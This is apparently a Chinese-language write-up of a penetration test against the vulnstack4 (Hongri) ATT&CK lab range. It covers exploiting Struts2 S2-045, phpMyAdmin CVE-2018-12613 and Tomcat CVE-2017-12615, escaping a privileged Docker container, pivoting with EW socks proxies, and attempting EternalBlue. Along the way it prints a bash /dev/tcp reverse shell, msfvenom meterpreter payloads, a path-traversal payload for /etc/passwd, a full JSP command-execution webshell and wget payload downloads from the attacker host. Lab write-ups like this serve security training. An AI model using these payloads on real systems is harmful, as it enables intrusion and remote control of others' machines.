红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 4
ATT&CK 红队评估(红日靶场四) - FreeBuf 网络安全行业
ATT&CK 红日 4 靶机渗透攻略 - CSDN 博客
# 环境搭建
Web
机器为内外网双网卡,其他两台机器全部是只有 192.168.183
一个段,所以创建一个 VM1
赋予两台机器就可以了
普通机器和 DC
域控机器都是内网 183
网段
Web
机器双网卡 NAT
保证了和 Kali
处于同一网段,自定义的 VM1
同其余两天内网机器同一网段
# 靶机 IP
机器密码
全部部署好后逐个开机检查记录 IP
1 | WEB主机 ubuntu:ubuntu |
乌班图进入 cmd
面板快捷方式 CTRL+ALT+T
域控机器按照上面密码登录过后会提示已过期修改密码为 !qaz2008
主机 | IP 地址 |
---|---|
kali 攻击机 | 192.168.111.131 (NAT) |
Web_Ubuntu | 外网 IP 192.168.111.132 / 内网 IP 192.168.183.129 |
Win7 | 192.168.183.131 (不出网 IP 固定 183 网段) |
DC 域控 | 192.168.183.130 (不出网 IP 固定 183 网段) |
# 开启环境
Web
出网服务器为 Ubuntu
,需要进入 Ubuntu
,用 docker 启动漏洞环境,开启后就可以开始练习了,通过开启的这三个服务得到权限从而拿下 Ubuntu
机器再横向内网
- s2-045
- CVE-2017-12615 (tomcat put 上传)
- cve-2018-12613 (phpmyadmin 文件包含漏洞)
1 | cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 |
# Web 渗透
# 信息收集
1 | arp -scan -l // 扫码本机网卡存活机器得到同一网段下的外网Ubuntu机器,实战肯定是没有的,直接就可以扫公网的IP |
得到外网地址 IP
192.168.111.132
扫码开放端口对这台机器敲敲打打,逐个访问, nmap
可以加入 -A
会得到更多的信息这
1 | nmap -sV 192.168.111.132 -A |
# Struts2 漏洞扫描
这里通过扫描命令发现了 Struts2
框架下载工具进行漏洞扫描,但如果不指纹识别光看页面可以发现这个框架吗,在 title 显示了 Struts2
标识
工具地址
执行 IP a
命令发现是 172
跟原来的不符 还好看了其他师傅的文章原来这是在 Docker
里面构建的
执行 bash
反弹命令 将权限拿到, Kali
开启监听
1 | nc -lvvp 7777 |
漏洞攻击执行反弹命令 反弹地址为攻击机端口也要一致
1 | bash -i >& /dev/tcp/192.168.111.131/7777 0>&1 |
攻击机收到来自 192.168.111.132
反弹来的 Shell
利用漏洞利用工具上传基于 Linux
的 JSP
马方便 MSF
后渗透
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.131 LPORT=4444 -f jsp > shell.jsp |
上传到根目录下,工具原本的上传的默认上传一个带有上传功能的小马,这里我手动替换为了 MSF
生成 Shell.JSP
内容 点击上传即可成功到根目录
MSF
监听木马完成后 浏览器访问地址即可触发木马反弹权限
1 | use exploit/multi/handler |
# PhPmyadmin CVE-2018-12613
根据版本号寻找 Nday
phpmyadmin 4.8.1
远程文件包含漏洞 CVE-2018-12613
,攻击者可以利用该漏洞在后台进行任意的文件包含,各种调用,如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话;写入木马方式就是利用 mysql
日志写入功能
影响版本
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
利用 session
文件创建 Shell
, 也就是包含它这个文件
POC
1 | 1)执行SQL语句,将PHP代码写入Session文件中: |
确定存在漏洞
1 | http://192.168.111.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
替换 sess
1 | index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_07e4cdc4c1089e6391dc706a6581c805 |
CVE-2018-12613:本地文件包含
使用函数写入一句话马蚁剑连接即可,但是这里我单独的用 URL
执行 phpinfo
是不行的 我以为写错了结果是我使用的是 POST
传参的,需要用插件 hack
才可以插入
1 | 函数配合file_get_contents 写入一句话文件名称shell.php 内容一句话密码为1 |
上传到网站根目录
# 蚁剑 MSF
生成木马 Getshell
生成 MSF
linux
但是无法上线 应该是 Docker
环境问题 需要进行逃逸
1 | LHOST=攻击机IP LPORT=攻击机监听端口 |
生成完成后上传到 tmp
目录通常这里可读可写
给予权限并执行,但前面需要先 msf
监听 而后再执行 ./saber.elf
msf
反弹得到权限
1 | chmod 7777 saber.elf |
1 | use exploit/multi/handler |
# Tomcat CVE-2017-12615 PUT 上传
Kali
自带了漏洞扫描工具 nickto
扫描一下 Tomcat
回显的信息看不懂 AI
就是说
服务器允许使用 HTTP PUT
方法,这可能允许攻击者在服务器上上传和保存任意内容,包括潜在的恶意文件。建议禁用 HTTP PUT
方法,或者仅在需要时启用,并确保上传的内容经过严格验证和清理
1 | nikto -url http://192.168.111.131:2002/ |
另外寻找 GUI
漏洞利用工具吧,但有的运行 jar
包有问题要么是扫了不知道怎么利用,总体是利用 PUT
上传 shell JSP
从而连接得到权限
上方的 Py
脚本虽然检查到了漏洞但不知道密码啊我咋连啊,无奈手工复现,抓包修改请求方式请求体写为一句话木马,创建文件从而连接, PUT
文件上传的名称是 shelel.jsp
这里创建的一个输入框是同样可以执行命令的,好似虚拟终端,所以不需要蚁剑连接,配合 wget
下载木马文件,本地 Python
开启端口上传一个 shell.elf
从而执行就会上,步骤在文章中
1 | <% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); }%> |
Tomcat 任意文件写入(CVE-2017-12615)漏洞复现 - 含 POC 和 EXP 冰蝎连接
红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 CM 输入框上线
1 | python -m http.server 8080 # 将msf生成的saber.elf文件放在目录下打开cmd开启端口 |
监听步骤和上面拿到 PHPadmin
权限一样
# 内网渗透
# Docker 特权模式逃逸
哪怕 msf
得到了服务的权限但也还是在 Docker
容器环境中 无法对真实的机器造成危害,从 vmware
的虚机跳到实体机上,这其实就叫做 docker
逃逸
1 | 命令会显示容器的控制组(cgroup)信息,这通常用于了解容器的资源限制和监控 |
文章利用有 CVE-2019-5736
[1] 和 dirty cow
漏洞进行逃逸,但都失败了我为了方便就记录下 privileged
特权模式逃逸方式,这个方式可以在对方机器的磁盘写入 SSH
公匙 这样攻击机就可以利用私钥免密登录对方机器,实现控制, PHPadmin
和 Struts
的权限俊没有逃逸成功只能利用 Tomcat
权限
此方法出现 N 多问题,我按步骤梳理好,最后没有成功通过 SSH
私匙免密登录在得到 Tomcat
权限 MSF
基础上执行 shell
[2] 类似于 cmd
但是无法删除单个词如果一个写错只能 CTRL+U
删除整行,
首先创建目录挂载文件
1 | mkdir /hack |
将 /dev/sda1
挂载到 /hack
目录里
1 | mount /dev/sda1 /hack |
攻击机通过命令生成 ssh
秘钥,输入后两次回车不然要写密码,生成放在桌面行,我在桌面上开了 8080
端口这样 ubuntu
机器就可以访问下载公匙文件,登录拿本地私钥验证
1 | ssh-keygen -f hack # hack为生成名称一般为id_rsa |
1 | wget http://192.168.111.131:8080/id_rsa.pub |
公钥拷贝到 ubuntu
的. ssh
中并需要正常的设置权限 我怀疑这里我搞混淆了 权限没有设置到但是已经找不到方法了
1 | cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys |
完成如上步骤后还是无法在攻击机免密登录,无奈只能拿靶场密码直接连接开启内网渗透
# Ubuntu
权限上线 MSF
SSH
登录进真实的物理机器后再次通过木马上线到 MSF
, 下载木马的方式还是利用开启的端口下载
1 | wget http://192.168.111.131:8080/saber.elf |
# 信息收集
得到机器权限后信息收集看看网卡 183
段就是第二个段了,后续添加路由达到通讯目的
1 | ipconfig |
扫描一下该 183
网段下还要哪些存活机器,使用 UDP
协议进行存活主机发现
1 | use auxiliary/scanner/discovery/udp_probe |
MSF
手动添加路由也可以自动添加,记得 bg
回退 创建后上传工具到机器上
1 | route add 192.168.183.0 255.255.255.0 2 |
# EW 代理流量
工具上传方式可以是 upload
也可以是开个端口 wget
下载,如果是在 MSF
窗口需要切换为 shell
不然不能执行代理的命令 MSF
识别不了
1 | upload ew_for_linux64 /home/ubuntu // 上传ew工具到机器下的 /home/ubuntu目录下 |
受害机器 Ubuntu
执行此命令,端口 1234
1 | ./ew_for_linux64 -s rssocks -d 192.168.111.131 -e 1234 // 注意是rssocks |
攻击机 Kali
成功收到
1 | ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 // rcsocks |
如果修改了文件 proxychains4
默认端口的话就自己 vim
编辑吧 我这里默认没修改可以直接用的,攻击机可以通讯 183
网段机器了
# 横向移动
# 永恒之蓝
使用 smb_ms17010
扫描机器是否存在漏洞,这里忽略了因为扫描太慢了,存在的话会进行回显
1 | use auxiliary/scanner/smb/smb_ms17_010 |
然后使用漏洞利用模块对机器进行漏洞利用,前面的模块只是进行扫描,并且设置代理执行
1 | use exploit/windows/smb/ms17_010_eternalblue |
明明可以 ping 通也说检查到了漏洞但是一直打不上,后门流程口述吧 以后有机会再补上,拿下 win7
后慢慢的做信息收集拿下域控 DC
通过 mimikatz
拿密码,因为是域内的普通用户可以利用 MS14-068
域控提权漏洞生成新的票据通过迷你卡兹清空之前的再注入.....